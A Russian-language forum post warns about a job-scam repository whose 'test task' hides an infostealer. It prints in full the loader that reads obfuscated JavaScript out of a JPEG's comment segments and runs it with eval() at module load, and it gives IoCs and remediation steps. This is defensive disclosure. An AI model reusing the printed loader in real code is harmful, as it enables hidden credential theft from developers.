⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер
Привет, Хабр. Короткий пост-предупреждение.
Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».
С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.
Два артефакта:
server/back.jpg— выглядит как JPEG, но в сегментах0xFFFE(COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.server/app/services/log.service.js— функцияaddLogsForAssetsчитает JPEG, вытаскивает COMMENT-сегменты и прогоняет черезeval(). Вызов на верхнем уровне модуля — выполняется при каждомrequire()сервиса, до подключения к БД.
function addLogsForAssets(imgPath) { const imlog = fsr.readFileSync(imgPath); let i = 2; const chunks = []; while (i < imlog.length) { if (imlog[i] !== 0xFF) break; const marker = imlog[i + 1]; const length = imlog.readUInt16BE(i + 2); if (marker === 0xFE) { // JPEG COMMENT marker const data = imlog.subarray(i + 4, i + 2 + length); chunks.push(data); } i += 2 + length; } eval(Buffer.concat(chunks).toString('utf8')); // ← payload return true; } addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));
Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.
IoC:
Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740
Хост эксфильтрации: cookieshop.cloud
Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:
Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)
Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket
Сменить credentials в
~/.aws/,~/.config/gcloud,~/.config/herokuЗавершить все сессии:
https://github.com/settings/sessionsПрогнать антивирус
Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).
На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.
Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.
Более быстрый способ ловить подобные алерты - мой канал









